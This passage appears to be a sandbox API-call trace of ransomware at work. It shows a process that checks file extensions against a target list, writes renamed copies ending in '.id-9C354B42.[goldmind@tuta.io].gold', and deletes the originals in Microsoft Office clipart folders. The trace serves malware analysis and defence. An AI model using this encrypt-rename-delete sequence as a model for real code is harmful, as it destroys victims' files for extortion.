returned 63 [0104.702] lstrlenW (lpString=".doc") returned 4 [0104.702] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0104.702] lstrlenW (lpString=".docx") returned 5 [0104.702] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0104.702] lstrlenW (lpString=".pdf") returned 4 [0104.702] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0104.702] lstrlenW (lpString=".xls") returned 4 [0104.702] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0104.702] lstrlenW (lpString=".xlsx") returned 5 [0104.702] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0104.702] lstrlenW (lpString=".ppt") returned 4 [0104.702] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0104.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105286.WMF") returned 63 [0104.702] lstrlenW (lpString=".zip") returned 4 [0104.702] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0104.702] lstrlenW (lpString=".rar") returned 4 [0104.703] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0104.703] lstrlenW (lpString=".bz2") returned 4 [0104.703] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0104.703] lstrlenW (lpString=".7z") returned 3 [0104.703] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0104.703] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105286.WMF") returned 63 [0104.703] lstrlenW (lpString=".dbf") returned 4 [0104.703] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0104.703] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105286.WMF") returned 63 [0104.703] lstrlenW (lpString=".1cd") returned 4 [0104.703] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0104.703] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105286.WMF") returned 63 [0104.703] lstrlenW (lpString=".jpg") returned 4 [0104.703] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0104.703] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105286.WMF") returned 63 [0104.703] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105286.WMF") returned 63 [0104.703] lstrlenW (lpString=".doc") returned 4 [0104.703] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0104.703] lstrlenW (lpString=".docx") returned 5 [0104.703] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0104.703] lstrlenW (lpString=".pdf") returned 4 [0104.703] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0104.703] lstrlenW (lpString=".xls") returned 4 [0104.703] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0104.703] lstrlenW (lpString=".xlsx") returned 5 [0104.703] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0104.703] lstrlenW (lpString=".ppt") returned 4 [0104.703] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0104.703] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105286.WMF") returned 63 [0104.703] lstrlenW (lpString=".zip") returned 4 [0104.703] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0104.703] lstrlenW (lpString=".rar") returned 4 [0104.703] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0104.703] lstrlenW (lpString=".bz2") returned 4 [0104.703] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0104.703] lstrlenW (lpString=".7z") returned 3 [0104.703] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0104.703] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105286.WMF") returned 63 [0104.703] lstrlenW (lpString=".dbf") returned 4 [0104.703] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0104.703] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105286.WMF") returned 63 [0104.703] lstrlenW (lpString=".1cd") returned 4 [0104.703] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0104.703] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105286.WMF") returned 63 [0104.704] lstrlenW (lpString=".jpg") returned 4 [0104.704] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0104.704] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0104.704] lstrlenW (lpString="J0105288.WMF") returned 12 [0104.704] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105288.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105288.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0104.704] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=15832) returned 1 [0104.704] CloseHandle (hObject=0x3b4) returned 1 [0104.704] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105288.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105288.wmf")) returned 0x20 [0104.704] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105288.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105288.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0104.705] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105288.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105288.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0104.705] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0104.705] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0104.705] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105288.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105288.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0104.705] GetLastError () returned 0x0 [0104.705] ReadFile (in: hFile=0x3b4, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x3dd8, lpOverlapped=0x0) returned 1 [0104.987] WriteFile (in: hFile=0x198, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0x3de0, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0x3de0, lpOverlapped=0x0) returned 1 [0104.987] ReadFile (in: hFile=0x3b4, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0104.987] WriteFile (in: hFile=0x198, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0104.988] SetEndOfFile (hFile=0x198) returned 1 [0104.988] CloseHandle (hObject=0x198) returned 1 [0104.988] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0104.988] SetEndOfFile (hFile=0x3b4) returned 1 [0104.990] CloseHandle (hObject=0x3b4) returned 1 [0104.990] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105288.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0105.068] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105288.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105288.wmf")) returned 1 [0105.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105288.WMF") returned 63 [0105.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105288.WMF") returned 63 [0105.069] lstrlenW (lpString=".doc") returned 4 [0105.069] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0105.069] lstrlenW (lpString=".docx") returned 5 [0105.069] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0105.069] lstrlenW (lpString=".pdf") returned 4 [0105.069] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0105.069] lstrlenW (lpString=".xls") returned 4 [0105.069] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0105.069] lstrlenW (lpString=".xlsx") returned 5 [0105.069] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0105.069] lstrlenW (lpString=".ppt") returned 4 [0105.069] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0105.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105288.WMF") returned 63 [0105.069] lstrlenW (lpString=".zip") returned 4 [0105.069] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0105.069] lstrlenW (lpString=".rar") returned 4 [0105.069] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0105.069] lstrlenW (lpString=".bz2") returned 4 [0105.069] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0105.069] lstrlenW (lpString=".7z") returned 3 [0105.069] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0105.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105288.WMF") returned 63 [0105.069] lstrlenW (lpString=".dbf") returned 4 [0105.069] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0105.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105288.WMF") returned 63 [0105.069] lstrlenW (lpString=".1cd") returned 4 [0105.069] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0105.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105288.WMF") returned 63 [0105.069] lstrlenW (lpString=".jpg") returned 4 [0105.069] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0105.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105288.WMF") returned 63 [0105.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105288.WMF") returned 63 [0105.069] lstrlenW (lpString=".doc") returned 4 [0105.069] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0105.069] lstrlenW (lpString=".docx") returned 5 [0105.069] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0105.069] lstrlenW (lpString=".pdf") returned 4 [0105.069] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0105.069] lstrlenW (lpString=".xls") returned 4 [0105.069] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0105.069] lstrlenW (lpString=".xlsx") returned 5 [0105.069] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0105.069] lstrlenW (lpString=".ppt") returned 4 [0105.069] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0105.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105288.WMF") returned 63 [0105.069] lstrlenW (lpString=".zip") returned 4 [0105.069] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0105.069] lstrlenW (lpString=".rar") returned 4 [0105.069] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0105.069] lstrlenW (lpString=".bz2") returned 4 [0105.070] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0105.070] lstrlenW (lpString=".7z") returned 3 [0105.070] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0105.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105288.WMF") returned 63 [0105.070] lstrlenW (lpString=".dbf") returned 4 [0105.070] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0105.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105288.WMF") returned 63 [0105.070] lstrlenW (lpString=".1cd") returned 4 [0105.070] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0105.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105288.WMF") returned 63 [0105.070] lstrlenW (lpString=".jpg") returned 4 [0105.070] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0105.070] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0105.070] lstrlenW (lpString="J0105328.WMF") returned 12 [0105.070] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105328.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105328.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0105.071] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=7992) returned 1 [0105.071] CloseHandle (hObject=0x364) returned 1 [0105.072] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105328.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105328.wmf")) returned 0x20 [0105.072] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105328.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105328.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0105.072] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105328.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105328.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0105.072] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0105.072] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0105.072] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105328.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105328.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0105.073] GetLastError () returned 0x0 [0105.073] ReadFile (in: hFile=0x364, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x1f38, lpOverlapped=0x0) returned 1 [0105.075] WriteFile (in: hFile=0x198, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0x1f40, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0x1f40, lpOverlapped=0x0) returned 1 [0105.075] ReadFile (in: hFile=0x364, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0105.075] WriteFile (in: hFile=0x198, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0105.076] SetEndOfFile (hFile=0x198) returned 1 [0105.076] CloseHandle (hObject=0x198) returned 1 [0105.076] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0105.076] SetEndOfFile (hFile=0x364) returned 1 [0105.077] CloseHandle (hObject=0x364) returned 1 [0105.077] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105328.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0105.078] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105328.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105328.wmf")) returned 1 [0105.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105328.WMF") returned 63 [0105.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105328.WMF") returned 63 [0105.078] lstrlenW (lpString=".doc") returned 4 [0105.078] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0105.078] lstrlenW (lpString=".docx") returned 5 [0105.078] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0105.078] lstrlenW (lpString=".pdf") returned 4 [0105.078] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0105.078] lstrlenW (lpString=".xls") returned 4 [0105.078] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0105.078] lstrlenW (lpString=".xlsx") returned 5 [0105.078] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0105.078] lstrlenW (lpString=".ppt") returned 4 [0105.078] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0105.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105328.WMF") returned 63 [0105.078] lstrlenW (lpString=".zip") returned 4 [0105.078] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0105.078] lstrlenW (lpString=".rar") returned 4 [0105.079] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0105.079] lstrlenW (lpString=".bz2") returned 4 [0105.079] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0105.079] lstrlenW (lpString=".7z") returned 3 [0105.079] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0105.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105328.WMF") returned 63 [0105.079] lstrlenW (lpString=".dbf") returned 4 [0105.079] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0105.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105328.WMF") returned 63 [0105.079] lstrlenW (lpString=".1cd") returned 4 [0105.079] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0105.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105328.WMF") returned 63 [0105.079] lstrlenW (lpString=".jpg") returned 4 [0105.079] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0105.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105328.WMF") returned 63 [0105.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105328.WMF") returned 63 [0105.079] lstrlenW (lpString=".doc") returned 4 [0105.079] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0105.079] lstrlenW (lpString=".docx") returned 5 [0105.079] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0105.079] lstrlenW (lpString=".pdf") returned 4 [0105.079] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0105.079] lstrlenW (lpString=".xls") returned 4 [0105.079] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0105.079] lstrlenW (lpString=".xlsx") returned 5 [0105.079] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0105.079] lstrlenW (lpString=".ppt") returned 4 [0105.079] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0105.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105328.WMF") returned 63 [0105.079] lstrlenW (lpString=".zip") returned 4 [0105.079] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0105.079] lstrlenW (lpString=".rar") returned 4 [0105.079] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0105.079] lstrlenW (lpString=".bz2") returned 4 [0105.079] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0105.079] lstrlenW (lpString=".7z") returned 3 [0105.079] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0105.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105328.WMF") returned 63 [0105.079] lstrlenW (lpString=".dbf") returned 4 [0105.079] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0105.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105328.WMF") returned 63 [0105.079] lstrlenW (lpString=".1cd") returned 4 [0105.079] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0105.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105328.WMF") returned 63 [0105.079] lstrlenW (lpString=".jpg") returned 4 [0105.079] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0105.079] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0105.079] lstrlenW (lpString="J0105332.WMF") returned 12 [0105.079] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105332.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105332.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0105.080] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=10508) returned 1 [0105.080] CloseHandle (hObject=0x364) returned 1 [0105.080] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105332.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105332.wmf")) returned 0x20 [0105.080] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105332.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105332.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0105.080] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105332.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105332.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0105.080] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0105.080] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0105.080] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105332.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105332.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0105.082] GetLastError () returned 0x0 [0105.082] ReadFile (in: hFile=0x364, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x290c, lpOverlapped=0x0) returned 1 [0105.083] WriteFile (in: hFile=0x198, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0x2910, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0x2910, lpOverlapped=0x0) returned 1 [0105.084] ReadFile (in: hFile=0x364, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0105.084] WriteFile (in: hFile=0x198, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0105.084] SetEndOfFile (hFile=0x198) returned 1 [0105.084] CloseHandle (hObject=0x198) returned 1 [0105.084] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0105.084] SetEndOfFile (hFile=0x364) returned 1 [0105.086] CloseHandle (hObject=0x364) returned 1 [0105.086] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105332.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0105.086] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105332.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105332.wmf")) returned 1 [0105.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105332.WMF") returned 63 [0105.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105332.WMF") returned 63 [0105.087] lstrlenW (lpString=".doc") returned 4 [0105.087] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0105.087] lstrlenW (lpString=".docx") returned 5 [0105.087] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0105.087] lstrlenW (lpString=".pdf") returned 4 [0105.087] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0105.087] lstrlenW (lpString=".xls") returned 4 [0105.087] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0105.087] lstrlenW (lpString=".xlsx") returned 5 [0105.087] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0105.087] lstrlenW (lpString=".ppt") returned 4 [0105.087] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0105.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105332.WMF") returned 63 [0105.087] lstrlenW (lpString=".zip") returned 4 [0105.087] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 